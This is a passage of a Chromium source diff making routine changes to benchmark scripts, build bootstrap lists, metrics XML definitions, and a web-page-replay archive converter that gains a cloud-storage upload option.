+# Copyright 2017 The Chromium Authors. All rights reserved.
+# Use of this source code is governed by a BSD-style license that can be
+# found in the LICENSE file.
+
+import unittest
+
+import customtabs_benchmark
+
+
+class CustomTabsBenchmarkTestCase(unittest.TestCase):
+  def testParseResult(self):
+    result_line = (
+        "1,0,disabled,1000,3000,510998167,510998345,511000338,510999329")
+    result = customtabs_benchmark.ParseResult(result_line)
+    self.assertEquals(1, result.warmup)
+    self.assertEquals(0, result.skip_launcher_activity)
+    self.assertEquals('disabled', result.speculation_mode)
+    self.assertEquals(1000, result.delay_to_may_launch_url)
+    self.assertEquals(3000, result.delay_to_launch_url)
+    self.assertEquals(510998345 - 510998167, result.commit)
+    self.assertEquals(511000338 - 510998167, result.plt)
+    self.assertEquals(510999329 - 510998167, result.first_contentful_paint)
+
+  def testParsePartialResult(self):
+    result_line = (
+        "1,0,disabled,1000,3000,510998167,-1,-1,510999329")
+    result = customtabs_benchmark.ParseResult(result_line)
+    self.assertEquals(1, result.warmup)
+    self.assertEquals(0, result.skip_launcher_activity)
+    self.assertEquals('disabled', result.speculation_mode)
+    self.assertEquals(1000, result.delay_to_may_launch_url)
+    self.assertEquals(3000, result.delay_to_launch_url)
+    self.assertEquals(-1, result.commit)
+    self.assertEquals(-1, result.plt)
+    self.assertEquals(510999329 - 510998167, result.first_contentful_paint)
+
+
+if __name__ == '__main__':
+  unittest.main()
diff --git a/tools/android/customtabs_benchmark/scripts/run_benchmark.py b/tools/android/customtabs_benchmark/scripts/run_benchmark.py
index 1cac3c7..5ddcab3 100755
--- a/tools/android/customtabs_benchmark/scripts/run_benchmark.py
+++ b/tools/android/customtabs_benchmark/scripts/run_benchmark.py
@@ -26,8 +26,8 @@
 import devil_chromium
 
 
-_KEYS = ['url', 'warmup', 'speculation_mode', 'delay_to_may_launch_url',
-         'delay_to_launch_url', 'cold']
+_KEYS = ['url', 'warmup', 'skip_launcher_activity', 'speculation_mode',
+         'delay_to_may_launch_url', 'delay_to_launch_url', 'cold']
 
 
 def _ParseConfiguration(filename):
@@ -41,6 +41,7 @@
   {
     "url": "https://www.android.com",
     "warmup": [false, true],
+    "skip_launcher_activity": true,
     "speculation_mode": "speculative_prefetch",
     "delay_to_may_launch_url": [-1, 1000],
     "delay_to_launch_url": [-1, 1000],
diff --git a/tools/android/customtabs_benchmark/scripts/run_tests b/tools/android/customtabs_benchmark/scripts/run_tests
new file mode 100755
index 0000000..565f624
--- /dev/null
+++ b/tools/android/customtabs_benchmark/scripts/run_tests
@@ -0,0 +1,32 @@
+#!/usr/bin/env python
+# Copyright 2017 The Chromium Authors. All rights reserved.
+# Use of this source code is governed by a BSD-style license that can be
+# found in the LICENSE file.
+
+import logging
+import os
+import sys
+import unittest
+
+
+if __name__ == '__main__':
+  logging.basicConfig(
+      level=logging.DEBUG if '-v' in sys.argv else logging.WARNING,
+      format='%(levelname)5s %(filename)15s(%(lineno)3d): %(message)s')
+
+  suite = unittest.TestSuite()
+  loader = unittest.TestLoader()
+  root_dir = os.path.dirname(os.path.realpath(__file__))
+  if len(sys.argv) < 2:
+    cases = loader.discover(start_dir=root_dir, pattern='*_unittest.py')
+  else:
+    cases = []
+    for module in sys.argv[1:]:
+      pattern = '{}_unittest.py'.format(module)
+      cases.extend(loader.discover(start_dir=root_dir, pattern=pattern))
+  suite.addTests(cases)
+  res = unittest.TextTestRunner(verbosity=2).run(suite)
+  if res.wasSuccessful():
+    sys.exit(0)
+  else:
+    sys.exit(1)
diff --git a/tools/android/customtabs_benchmark/scripts/sample_config.json b/tools/android/customtabs_benchmark/scripts/sample_config.json
index 2931f55..7da50dbd 100644
--- a/tools/android/customtabs_benchmark/scripts/sample_config.json
+++ b/tools/android/customtabs_benchmark/scripts/sample_config.json
@@ -1,6 +1,8 @@
 {
   "url": "https://www.android.com",
+  "speculated_url": "https://www.android.com",
   "warmup": true,
+  "skip_launcher_activity": false,
   "speculation_mode": "disabled",
   "delay_to_may_launch_url": 1000,
   "delay_to_launch_url": 3000,
diff --git a/tools/android/eclipse/.classpath b/tools/android/eclipse/.classpath
index a0d2f23..4888cb13e 100644
--- a/tools/android/eclipse/.classpath
+++ b/tools/android/eclipse/.classpath
@@ -55,7 +55,7 @@
     <classpathentry kind="src" path="components/cronet/android/test/javatests/src"/>
     <classpathentry kind="src" path="components/cronet/android/test/src"/>
     <classpathentry kind="src" path="components/gcm_driver/android/java/src"/>
-    <classpathentry kind="src" path="components/feature_engagement_tracker/public/android/java/src"/>
+    <classpathentry kind="src" path="components/feature_engagement/public/android/java/src"/>
     <classpathentry kind="src" path="components/invalidation/impl/android/java/src"/>
     <classpathentry kind="src" path="components/invalidation/impl/android/javatests/src"/>
     <classpathentry kind="src" path="components/invalidation/impl/android/junit/src"/>
diff --git a/tools/binary_size/diagnose_bloat.py b/tools/binary_size/diagnose_bloat.py
index b3beb84..8f475b3 100755
--- a/tools/binary_size/diagnose_bloat.py
+++ b/tools/binary_size/diagnose_bloat.py
@@ -324,7 +324,6 @@
     """Save build artifacts necessary for diffing."""
     logging.info('Saving build results to: %s', self.dir)
     _EnsureDirsExist(self.dir)
-    self._ArchiveFile(self.build.abs_main_lib_path)
     if self.build.IsAndroid():
       self._ArchiveFile(self.build.abs_apk_path)
       self._ArchiveResourceSizes()
diff --git a/tools/gn/bootstrap/bootstrap.py b/tools/gn/bootstrap/bootstrap.py
index 1390560f..ff2ae57 100755
--- a/tools/gn/bootstrap/bootstrap.py
+++ b/tools/gn/bootstrap/bootstrap.py
@@ -449,6 +449,7 @@
       'base/metrics/histogram_base.cc',
       'base/metrics/histogram_functions.cc',
       'base/metrics/histogram_samples.cc',
+      'base/metrics/histogram_snapshot_manager.cc',
       'base/metrics/metrics_hashes.cc',
       'base/metrics/persistent_histogram_allocator.cc',
       'base/metrics/persistent_memory_allocator.cc',
@@ -534,7 +535,7 @@
       'base/trace_event/heap_profiler_allocation_context_tracker.cc',
       'base/trace_event/heap_profiler_allocation_register.cc',
       'base/trace_event/heap_profiler_event_filter.cc',
-      'base/trace_event/heap_profiler_event_writer.cc',
+      'base/trace_event/heap_profiler_heap_dump_writer.cc',
       'base/trace_event/heap_profiler_serialization_state.cc',
       'base/trace_event/heap_profiler_stack_frame_deduplicator.cc',
       'base/trace_event/heap_profiler_type_name_deduplicator.cc',
diff --git a/tools/ipc_fuzzer/message_replay/replay_process.cc b/tools/ipc_fuzzer/message_replay/replay_process.cc
index ec34da8..2ac4c95 100644
--- a/tools/ipc_fuzzer/message_replay/replay_process.cc
+++ b/tools/ipc_fuzzer/message_replay/replay_process.cc
@@ -164,7 +164,7 @@
 
 void ReplayProcess::SendNextMessage() {
   if (message_index_ >= messages_.size()) {
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
     return;
   }
 
@@ -174,7 +174,7 @@
   if (!channel_->Send(message.release())) {
     LOG(ERROR) << "ChannelProxy::Send() failed after "
                << message_index_ << " messages";
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 }
 
@@ -194,7 +194,7 @@
 void ReplayProcess::OnChannelError() {
   LOG(ERROR) << "Channel error, quitting after "
              << message_index_ << " messages";
-  base::MessageLoop::current()->QuitWhenIdle();
+  base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 }  // namespace ipc_fuzzer
diff --git a/tools/mb/mb.py b/tools/mb/mb.py
index 6905bcc..2b93458 100755
--- a/tools/mb/mb.py
+++ b/tools/mb/mb.py
@@ -888,6 +888,17 @@
       command, extra_files = self.GetIsolateCommand(target, vals)
 
       runtime_deps = self.ReadFile(runtime_deps_path).splitlines()
+      if android:
+        # TODO(hzl): Rewrite the following lib.unstripped logic.
+        # crbug.com/749283
+        unstripped_libs = []
+        for f in runtime_deps:
+          if f.endswith('.so'):
+            if os.path.isfile(self.PathJoin(self.ToAbsPath(build_dir),
+                                            'lib.unstripped',
+                                            os.path.basename(f))):
+              unstripped_libs.append('lib.unstripped/%s' % os.path.basename(f))
+        runtime_deps.extend(unstripped_libs)
 
       self.WriteIsolateFiles(build_dir, command, target, runtime_deps,
                              extra_files)
diff --git a/tools/metrics/actions/actions.xml b/tools/metrics/actions/actions.xml
index 1785688..de707cc 100644
--- a/tools/metrics/actions/actions.xml
+++ b/tools/metrics/actions/actions.xml
@@ -16108,6 +16108,66 @@
   <description>Please enter the description of this user action.</description>
 </action>
 
+<action name="SoftwareReporter.PromptDialog.LogsPermissionCheckbox_Disabled">
+  <owner>alito@chromium.org</owner>
+  <description>
+    The user clicked the logs upload permission checkbox and disabled logs
+    uploading.
+  </description>
+</action>
+
+<action name="SoftwareReporter.PromptDialog.LogsPermissionCheckbox_Enabled">
+  <owner>alito@chromium.org</owner>
+  <description>
+    The user clicked the logs upload permission checkbox and enabled logs
+    uploading.
+  </description>
+</action>
+
+<action name="SoftwareReporter.PromptDialog_Accepted">
+  <owner>alito@chromium.org</owner>
+  <description>The user accepted the Chrome Cleaner prompt.</description>
+</action>
+
+<action name="SoftwareReporter.PromptDialog_Canceled">
+  <owner>alito@chromium.org</owner>
+  <description>
+    The user clicked the cancel button in the Chrome Cleaner prompt dialog.
+  </description>
+</action>
+
+<action name="SoftwareReporter.PromptDialog_ClosedWithoutUserInteraction">
+  <owner>alito@chromium.org</owner>
+  <description>
+    The Chrome Cleaner prompt dialog was closed without any user interaction.
+    This can happen, for example, if something goes wrong with the Chrome
+    Cleaner IPC or if the user interacts with the Chrome Cleaner webui page from
+    another browser window.
+  </description>
+</action>
+
+<action name="SoftwareReporter.PromptDialog_DetailsButtonClicked">
+  <owner>alito@chromium.org</owner>
+  <description>
+    The user clicked the 'Details' button in the Chrome Cleaner prompt dialog.
+  </description>
+</action>
+
+<action name="SoftwareReporter.PromptDialog_Dismissed">
+  <owner>alito@chromium.org</owner>
+  <description>
+    The user dismissed the Chrome Cleaner prompt dialog, for example by clicking
+    the x in the top right corner or pressing the Escape key.
+  </description>
+</action>
+
+<action name="SoftwareReporter.PromptDialog_Shown">
+  <owner>alito@chromium.org</owner>
+  <description>
+    The Chrome Cleaner prompt dialog was shown to the user.
+  </description>
+</action>
+
 <action name="StackedTab_DragActiveTab">
   <owner>bruthig@chromium.org</owner>
   <owner>tdanderson@chromium.org</owner>
diff --git a/tools/metrics/histograms/enums.xml b/tools/metrics/histograms/enums.xml
index 4dc9f6aa..78c5733 100644
--- a/tools/metrics/histograms/enums.xml
+++ b/tools/metrics/histograms/enums.xml
@@ -22823,6 +22823,7 @@
   <int value="-1438279809" label="GamepadExtensions:disabled"/>
   <int value="-1433719718" label="enable-webrtc-stun-origin"/>
   <int value="-1433087548" label="enable-app-install-alerts"/>
+  <int value="-1431563697" label="WebPaymentsMethodSectionOrderV2:enabled"/>
   <int value="-1426034869" label="NoCreditCardAbort:enabled"/>
   <int value="-1419788257" label="enable-experimental-hotwording"/>
   <int value="-1416754663" label="enable-mac-views-native-app-windows"/>
@@ -23644,6 +23645,7 @@
   <int value="1319725131" label="enable-distance-field-text"/>
   <int value="1320201920" label="enable-touchpad-three-finger-click"/>
   <int value="1330264457" label="OmniboxUIExperimentVerticalLayout:disabled"/>
+  <int value="1340690624" label="WebPaymentsMethodSectionOrderV2:disabled"/>
   <int value="1344833841" label="ImeThread:enabled"/>
   <int value="1351830811" label="do-not-ignore-autocomplete-off"/>
   <int value="1352447982" label="enable-lcd-text"/>
@@ -25161,6 +25163,20 @@
   <int value="3" label="Page"/>
 </enum>
 
+<enum name="MediaRouterDialParsingError">
+  <int value="0" label="None"/>
+  <int value="1" label="Invalid XML"/>
+  <int value="2" label="Failed to read UDN"/>
+  <int value="3" label="Failed to read friendly name"/>
+  <int value="4" label="Failed to read model name"/>
+  <int value="5" label="Failed to read device type"/>
+  <int value="6" label="Missing unique ID"/>
+  <int value="7" label="Missing name"/>
+  <int value="8" label="Missing app URL"/>
+  <int value="9" label="Invalid app URL"/>
+  <int value="10" label="Utility process error"/>
+</enum>
+
 <enum name="MediaRouterInitialViews">
   <int value="0" label="Route Details"/>
   <int value="1" label="Sink List"/>
diff --git a/tools/metrics/histograms/histograms.xml b/tools/metrics/histograms/histograms.xml
index cf56add6..16e540c 100644
--- a/tools/metrics/histograms/histograms.xml
+++ b/tools/metrics/histograms/histograms.xml
@@ -8623,6 +8623,20 @@
   </summary>
 </histogram>
 
+<histogram name="Compositing.Browser.GPUMemoryForTilingsInKb" units="Kb">
+  <owner>yigu@chromium.org</owner>
+  <summary>
+    The GPU memory allocated for tilings (in a browser process), summed over all
+    picture layers. Emitted once per drawing. Nothing is recorded if there are
+    no picture layers.
+
+    Tilings are used for decomposition of the layer's entire contents at a
+    picture screenspace resolution to do threaded rasterization.
+
+    Team: threaded-rendering-dev@chromium.org.
+  </summary>
+</histogram>
+
 <histogram base="true" name="Compositing.Browser.LayersUpdateTime"
     units="microseconds">
   <owner>threaded-rendering-dev@chromium.org</owner>
@@ -8949,6 +8963,20 @@
   </summary>
 </histogram>
 
+<histogram name="Compositing.Renderer.GPUMemoryForTilingsInKb" units="Kb">
+  <owner>yigu@chromium.org</owner>
+  <summary>
+    The GPU memory allocated for tilings (in a renderer process), summed over
+    all picture layers. Emitted once per drawing. Nothing is recorded if there
+    are no picture layers.
+
+    Tilings are used for decomposition of the layer's entire contents at a
+    picture screenspace resolution to do threaded rasterization.
+
+    Team: threaded-rendering-dev@chromium.org.
+  </summary>
+</histogram>
+
 <histogram base="true" name="Compositing.Renderer.LayersUpdateTime"
     units="microseconds">
   <owner>threaded-rendering-dev@chromium.org</owner>
@@ -32035,6 +32063,16 @@
   </summary>
 </histogram>
 
+<histogram name="MediaRouter.Dial.ParsingError"
+    enum="MediaRouterDialParsingError">
+  <owner>zhaobin@chromium.org</owner>
+  <summary>
+    Error encountered while parsing DIAL device description XML text. Recorded
+    when utility process returns an invalid DIAL device description object to
+    browser.
+  </summary>
+</histogram>
+
 <histogram name="MediaRouter.Icon.Click.Location"
     enum="MediaRouterDialogOpenOrigin">
   <owner>apacible@chromium.org</owner>
@@ -58938,6 +58976,9 @@
 </histogram>
 
 <histogram name="PreloadScanner.DocumentWrite.ExecutionTime.Failure" units="ms">
+  <obsolete>
+    DocumentWriteEvaluator was removed in 07/2017
+  </obsolete>
   <owner>csharrison@chromium.org</owner>
   <summary>
     Time spent executing a script tag in the blink preload scanner, for the
@@ -58947,6 +58988,9 @@
 </histogram>
 
 <histogram name="PreloadScanner.DocumentWrite.ExecutionTime.Success" units="ms">
+  <obsolete>
+    DocumentWriteEvaluator was removed in 07/2017
+  </obsolete>
   <owner>csharrison@chromium.org</owner>
   <summary>
     Time spent executing a script tag in the blink preload scanner, for the
@@ -58957,6 +59001,9 @@
 
 <histogram name="PreloadScanner.DocumentWrite.GatedEvaluation"
     enum="DocumentWriteGatedEvaluation">
+  <obsolete>
+    DocumentWriteEvaluator was removed in 07/2017
+  </obsolete>
   <owner>csharrison@chromium.org</owner>
   <summary>
     The reason a particular inline script was blocked from evaluation.
@@ -58964,6 +59011,9 @@
 </histogram>
 
 <histogram name="PreloadScanner.DocumentWrite.InitializationTime" units="ms">
+  <obsolete>
+    DocumentWriteEvaluator was removed in 07/2017
+  </obsolete>
   <owner>csharrison@chromium.org</owner>
   <summary>
     Time spent initializing a new V8 context for the purpose of evaluating it
@@ -95646,22 +95696,6 @@
   <affected-histogram
       name="PageLoad.Clients.DocWrite.Block.Timing2.ParseDuration"/>
   <affected-histogram
-      name="PageLoad.Clients.DocWrite.Evaluator.PaintTiming.NavigationToFirstContentfulPaint"/>
-  <affected-histogram
-      name="PageLoad.Clients.DocWrite.Evaluator.ParseTiming.ParseBlockedOnScriptLoad"/>
-  <affected-histogram
-      name="PageLoad.Clients.DocWrite.Evaluator.ParseTiming.ParseBlockedOnScriptLoadFromDocumentWrite"/>
-  <affected-histogram
-      name="PageLoad.Clients.DocWrite.Evaluator.ParseTiming.ParseDuration"/>
-  <affected-histogram
-      name="PageLoad.Clients.DocWrite.Evaluator.Timing2.NavigationToFirstContentfulPaint"/>
-  <affected-histogram
-      name="PageLoad.Clients.DocWrite.Evaluator.Timing2.ParseBlockedOnScriptLoad"/>
-  <affected-histogram
-      name="PageLoad.Clients.DocWrite.Evaluator.Timing2.ParseBlockedOnScriptLoadFromDocumentWrite"/>
-  <affected-histogram
-      name="PageLoad.Clients.DocWrite.Evaluator.Timing2.ParseDuration"/>
-  <affected-histogram
       name="PageLoad.Clients.MultiTabLoading.DocumentTiming.NavigationToDOMContentLoadedEventFired"/>
   <affected-histogram
       name="PageLoad.Clients.MultiTabLoading.DocumentTiming.NavigationToLoadEventFired"/>
@@ -95911,9 +95945,6 @@
       label="PageLoadMetrics from a page that has synchronous, cross-origin
              document.written scripts that could be blocked if the
              document.write script blocking feature is enabled."/>
-  <suffix name="Clients.DocWrite.Evaluator"
-      label="PageLoadMetrics from a page that could have been evaluated by
-             the DocumentWriteEvaluator"/>
   <affected-histogram
       name="PageLoad.Experimental.PaintTiming.ParseStartToFirstMeaningfulPaint"/>
   <affected-histogram
diff --git a/tools/perf/benchmarks/kraken.py b/tools/perf/benchmarks/kraken.py
index d495391..75edc4f 100644
--- a/tools/perf/benchmarks/kraken.py
+++ b/tools/perf/benchmarks/kraken.py
@@ -16,8 +16,6 @@
 from telemetry.value import list_of_scalar_values
 from telemetry.value import scalar
 
-from metrics import power
-
 
 DESCRIPTIONS = {
     'ai-astar':
@@ -75,25 +73,13 @@
 
   def __init__(self):
     super(_KrakenMeasurement, self).__init__()
-    self._power_metric = None
 
-  def CustomizeBrowserOptions(self, options):
-    power.PowerMetric.CustomizeBrowserOptions(options)
-
-  def WillStartBrowser(self, platform):
-    self._power_metric = power.PowerMetric(platform)
-
-  def DidNavigateToPage(self, page, tab):
-    self._power_metric.Start(page, tab)
 
   def ValidateAndMeasurePage(self, page, tab, results):
     tab.WaitForJavaScriptCondition(
         'document.title.indexOf("Results") != -1', timeout=700)
     tab.WaitForDocumentReadyStateToBeComplete()
 
-    self._power_metric.Stop(page, tab)
-    self._power_metric.AddResults(tab, results)
-
     result_dict = json.loads(tab.EvaluateJavaScript("""
         var formElement = document.getElementsByTagName("input")[0];
         decodeURIComponent(formElement.value.split("?")[1]);
diff --git a/tools/perf/benchmarks/octane.py b/tools/perf/benchmarks/octane.py
index 6419c8b..25334da6 100644
--- a/tools/perf/benchmarks/octane.py
+++ b/tools/perf/benchmarks/octane.py
@@ -22,8 +22,6 @@
 from telemetry.util import statistics
 from telemetry.value import scalar
 
-from metrics import power
-
 _GB = 1024 * 1024 * 1024
 
 DESCRIPTIONS = {
@@ -72,13 +70,6 @@
 
   def __init__(self):
     super(_OctaneMeasurement, self).__init__()
-    self._power_metric = None
-
-  def CustomizeBrowserOptions(self, options):
-    power.PowerMetric.CustomizeBrowserOptions(options)
-
-  def WillStartBrowser(self, platform):
-    self._power_metric = power.PowerMetric(platform)
 
   def WillNavigateToPage(self, page, tab):
     total_memory = tab.browser.platform.GetSystemTotalPhysicalMemory()
@@ -96,17 +87,11 @@
         skipBenchmarks = [%s]
         """ % (skipBenchmarks)
 
-  def DidNavigateToPage(self, page, tab):
-    self._power_metric.Start(page, tab)
-
   def ValidateAndMeasurePage(self, page, tab, results):
     tab.WaitForJavaScriptCondition('window.completed', timeout=10)
     tab.WaitForJavaScriptCondition(
         '!document.getElementById("progress-bar-container")', timeout=1200)
 
-    self._power_metric.Stop(page, tab)
-    self._power_metric.AddResults(tab, results)
-
     results_log = tab.EvaluateJavaScript('__results')
     all_scores = []
     for output in results_log:
diff --git a/tools/perf/convert_legacy_wpr_archive b/tools/perf/convert_legacy_wpr_archive
index 0c8d2315..2876a3d 100755
--- a/tools/perf/convert_legacy_wpr_archive
+++ b/tools/perf/convert_legacy_wpr_archive
@@ -7,8 +7,19 @@
 Takes in a page set json file. Iterate through all .wpr archives and convert
 them to .wprgo archive format.
 
+Instructions: http://bit.ly/wpr-go-migration
+
+(1) Generate .wprgo archives from a page set json file
 tools/perf/convert_legacy_wpr_archive /path/to/page_sets_json_file
 
+(2) Test that benchmarks pass with the new page set json file.
+tools/perf/run_benchmark ...
+
+(3) Upload new .wprgo files to cloudstorage
+tools/perf/convert_legacy_wpr_archive --upload /path/to/page_sets_json_file
+
+(4) Create a CL to upload generated .wprgo.sha1 and page_sets_json_file for review
+
 """
 
 import base64
@@ -21,6 +32,7 @@
 import time
 
 from core import path_util
+from core import benchmark_finders
 
 path_util.AddTelemetryToPath()
 from telemetry.internal.util import binary_manager
@@ -57,9 +69,44 @@
     requests += ']'
     return requests
 
+def upload(page_sets_json_file, bucket):
+    print "uploading to bucket %s\n" % bucket
+    dir_path = os.path.abspath(os.path.dirname(page_sets_json_file))
+    count = 0
+    with open(page_sets_json_file, 'r+') as json_file:
+      content = json_file.read()
+      m = re.findall(r'"(\w*).wprgo"', content)
+      if not m:
+        raise Exception("No .wprgo files to upload in ", page_sets_json_file)
+      # get rid of duplicates.
+      m = list(set(m))
+      for f in m:
+        wprgo_file = os.path.join(dir_path, f + ".wprgo")
+        if not os.path.exists(wprgo_file):
+          raise Exception('file "%s" does not exist' % wprgo_file)
+        cmd = ['third_party/depot_tools/upload_to_google_storage.py', '--bucket',
+               bucket, wprgo_file]
+        print cmd
+        return_code = subprocess.call(cmd)
+        if return_code != 0:
+          raise Exception("fail to upload wprgo file %s\n" % wprgo_file)
+        count += 1
+    print "successfully upload %d wprgo files in %s to buckets: %s\n" % (count,
+        page_sets_json_file, bucket)
+
+def GetStorySet(benchmark):
+  # Create a dummy options object which hold default values that are expected
+  # by Benchmark.CreateStorySet(options) method.
+  parser = optparse.OptionParser()
+  benchmark.AddBenchmarkCommandLineArgs(parser)
+  options, _ = parser.parse_args([])
+  return benchmark().CreateStorySet(options)
+
 def main():
   option_parser = optparse.OptionParser()
-  _, args = option_parser.parse_args()
+  option_parser.add_option("--upload", action="store_true", default=False,
+          help='Upload wprgo files to cloud storage bucket')
+  options, args = option_parser.parse_args()
 
   if len(args) < 1:
     print 'args: %s' % args
@@ -70,7 +117,33 @@
   if not os.path.exists(page_sets_json_file):
     option_parser.error('file "%s" does not exist' % page_sets_json_file)
 
+  if options.upload:
+    buckets = []
+    benchmarks_to_skip = ['skpicture_printer_ct',
+                          'screenshot_ct',
+                          'repaint_ct',
+                          'rasterize_and_record_micro_ct',
+                          'multipage_skpicture_printer_ct',
+                          'loading.cluster_telemetry',
+                          'skpicture_printer',
+                          'cros_tab_switching.typical_24',
+                          'multipage_skpicture_printer']
+    for b in benchmark_finders.GetAllBenchmarks():
+      if b.Name() in benchmarks_to_skip:
+        continue
+      story_set = GetStorySet(b)
+      if not story_set.bucket or not story_set.archive_data_file:
+        continue
+      if story_set.archive_data_file.split('/')[-1] == page_sets_json_file.split('/')[-1]:
+        buckets.append(story_set.bucket)
+    buckets = list(set(buckets))
+    assert len(buckets) == 1
+    upload(page_sets_json_file, buckets[0])
+    return 0
+
   dir_path = os.path.abspath(os.path.dirname(page_sets_json_file))
+  cert_file = os.path.join(path_util.GetWprGoDir(), 'wpr_cert.pem')
+  key_file = os.path.join(path_util.GetWprGoDir(), 'wpr_key.pem')
   with open(page_sets_json_file, 'r+') as json_file:
     content = json_file.read()
     m = re.findall(r'"(\w*).wpr"', content)
@@ -99,11 +172,13 @@
                                                 py_utils.GetHostArchName(),
                                                 py_utils.GetHostOsName())
       go_cmd = [go_binary_path,
-                'convert '
-                '--input_file=' + temp_file,
-                '--output_file=' + wprgo_file,
+                'convert',
+                '--input_file=%s' % temp_file,
+                '--output_file=%s' % wprgo_file,
                 '--http_port=8080',
-                '--https_port=8089']
+                '--https_port=8089',
+                '--https_cert_file=%s' % cert_file,
+                '--https_key_file=%s' % key_file]
       return_code = subprocess.call(go_cmd)
       wpr_server.terminate()
       if return_code != 0:
diff --git a/tools/perf/core/path_util.py b/tools/perf/core/path_util.py
index 66064c8..a27c91a 100644
--- a/tools/perf/core/path_util.py
+++ b/tools/perf/core/path_util.py
@@ -60,6 +60,11 @@
     sys.path.insert(1, wpr_path)
 
 
+def GetWprGoDir():
+  return os.path.join(
+      GetChromiumSrcDir(), 'third_party', 'catapult', 'web_page_replay_go')
+
+
 # Modify shutil.rmtree to print the last call stacks that invoke shutil.rmtree
 # TODO(nedn): remove these after crbug.com/742422 is addressed.
 import shutil
diff --git a/tools/perf/core/sharding_map_generator.py b/tools/perf/core/sharding_map_generator.py
index cecf34b..841b6c310 100644
--- a/tools/perf/core/sharding_map_generator.py
+++ b/tools/perf/core/sharding_map_generator.py
@@ -28,8 +28,6 @@
 from core import path_util
 path_util.AddTelemetryToPath()
 
-from telemetry.util import bot_utils
-
 
 def get_sharding_map_path():
   return os.path.join(
@@ -63,7 +61,6 @@
 def get_sorted_benchmark_list_by_time(all_benchmarks):
   runtime_list = []
   benchmark_avgs = {}
-  new_benchmarks = []
   timing_file_path = os.path.join(
       path_util.GetChromiumSrcDir(), 'tools', 'perf', 'core',
       'desktop_benchmark_avg_times.json')
@@ -73,39 +70,27 @@
 
   for benchmark in all_benchmarks:
     benchmark_avg_time = benchmark_avgs.get(benchmark.Name(), None)
-    if benchmark_avg_time is None:
-      # Assume that this is a new benchmark that was added after 11/1/16 when
-      # we generated the benchmarks. Use the old affinity algorithm after
-      # we have given the rest the same distribution, add it to the
-      # new benchmarks list.
-      new_benchmarks.append(benchmark)
-    else:
-      # Need to multiple the seconds by 2 since we will be generating two tests
-      # for each benchmark to be run on the same shard for the reference build
-      runtime_list.append((benchmark, benchmark_avg_time * 2.0))
+    assert benchmark_avg_time
+    # Need to multiple the seconds by 2 since we will be generating two tests
+    # for each benchmark to be run on the same shard for the reference build
+    runtime_list.append((benchmark, benchmark_avg_time * 2.0))
 
   # Return a reverse sorted list by runtime
   runtime_list.sort(key=lambda tup: tup[1], reverse=True)
-  return runtime_list, new_benchmarks
+  return runtime_list
 
 
 # Returns a map of benchmark name to shard it is on.
 def shard_benchmarks(num_shards, all_benchmarks):
   benchmark_to_shard_dict = {}
   shard_execution_times = [0] * num_shards
-  sorted_benchmark_list, new_benchmarks = get_sorted_benchmark_list_by_time(
-    all_benchmarks)
+  sorted_benchmark_list = get_sorted_benchmark_list_by_time(all_benchmarks)
   # Iterate over in reverse order and add them to the current smallest bucket.
   for benchmark in sorted_benchmark_list:
     # Find current smallest bucket
     min_index = shard_execution_times.index(min(shard_execution_times))
     benchmark_to_shard_dict[benchmark[0].Name()] = min_index
     shard_execution_times[min_index] += benchmark[1]
-  # For all the benchmarks that didn't have avg run times, use the default
-  # device affinity algorithm
-  for benchmark in new_benchmarks:
-     device_affinity = bot_utils.GetDeviceAffinity(num_shards, benchmark.Name())
-     benchmark_to_shard_dict[benchmark.Name()] = device_affinity
   return benchmark_to_shard_dict
 
 def regenerate(
diff --git a/tools/perf/page_sets/startup_pages.py b/tools/perf/page_sets/startup_pages.py
index ee9799f..2d99d63 100644
--- a/tools/perf/page_sets/startup_pages.py
+++ b/tools/perf/page_sets/startup_pages.py
@@ -6,24 +6,12 @@
 from telemetry import story
 
 
-class BrowserStartupSharedState(shared_page_state.SharedPageState):
-  """Shared state that restarts the browser for every single story."""
-
-  def __init__(self, test, finder_options, story_set):
-    super(BrowserStartupSharedState, self).__init__(
-        test, finder_options, story_set)
-
-  def DidRunStory(self, results):
-    super(BrowserStartupSharedState, self).DidRunStory(results)
-    self._StopBrowser()
-
-
 class StartedPage(page_module.Page):
 
   def __init__(self, url, page_set):
     super(StartedPage, self).__init__(
         url=url, page_set=page_set, startup_url=url,
-        shared_page_state_class=BrowserStartupSharedState,
+        shared_page_state_class=shared_page_state.SharedPageState,
         name=url)
     self.archive_data_file = 'data/startup_pages.json'
 
diff --git a/tools/perf/scripts_smoke_unittest.py b/tools/perf/scripts_smoke_unittest.py
index e8ae595..1307515 100644
--- a/tools/perf/scripts_smoke_unittest.py
+++ b/tools/perf/scripts_smoke_unittest.py
@@ -2,15 +2,11 @@
 # Use of this source code is governed by a BSD-style license that can be
 # found in the LICENSE file.
 
-import json
 import os
 import subprocess
 import sys
-import tempfile
 import unittest
 
-from telemetry import benchmark
-
 
 class ScriptsSmokeTest(unittest.TestCase):
 
@@ -59,20 +55,3 @@
       self.skipTest('small_profile_extender is missing')
     self.assertEquals(return_code, 0, stdout)
     self.assertIn('kraken', stdout)
-
-  # crbug.com/483212
-  @benchmark.Disabled('chromeos')
-  def testRunBenchmarkListJSONListsOutBenchmarks(self):
-    tmp_file = tempfile.NamedTemporaryFile(delete=False)
-    tmp_file_name = tmp_file.name
-    tmp_file.close()
-    try:
-      return_code, _ = self.RunPerfScript(
-          'run_benchmark list --json-output %s' % tmp_file_name)
-      self.assertEquals(return_code, 0)
-      with open(tmp_file_name, 'r') as f:
-        benchmark_data = json.load(f)
-        self.assertIn('dummy_benchmark.stable_benchmark_1',
-                      benchmark_data['steps'])
-    finally:
-      os.remove(tmp_file_name)
diff --git a/tools/resources/dummy.c b/tools/resources/dummy.c
deleted file mode 100644
index 1230b70..0000000
--- a/tools/resources/dummy.c
+++ /dev/null
@@ -1,7 +0,0 @@
-// Copyright 2017 The Chromium Authors. All rights reserved.
-// Use of this source code is governed by a BSD-style license that can be
-// found in the LICENSE file.
-
-int main(int argc, char**argv) {
-  return 0;
-}
diff --git a/tools/resources/generate_resource_whitelist.gni b/tools/resources/generate_resource_whitelist.gni
index d663ea2..33bc4b87a 100644
--- a/tools/resources/generate_resource_whitelist.gni
+++ b/tools/resources/generate_resource_whitelist.gni
@@ -21,24 +21,17 @@
 #     output = "$target_gen_dir/pak_whitelist.txt"
 #   }
 template("generate_resource_whitelist") {
-  # Wrap the shared_library in an executable so that it does not get added
-  # as a data_dep.
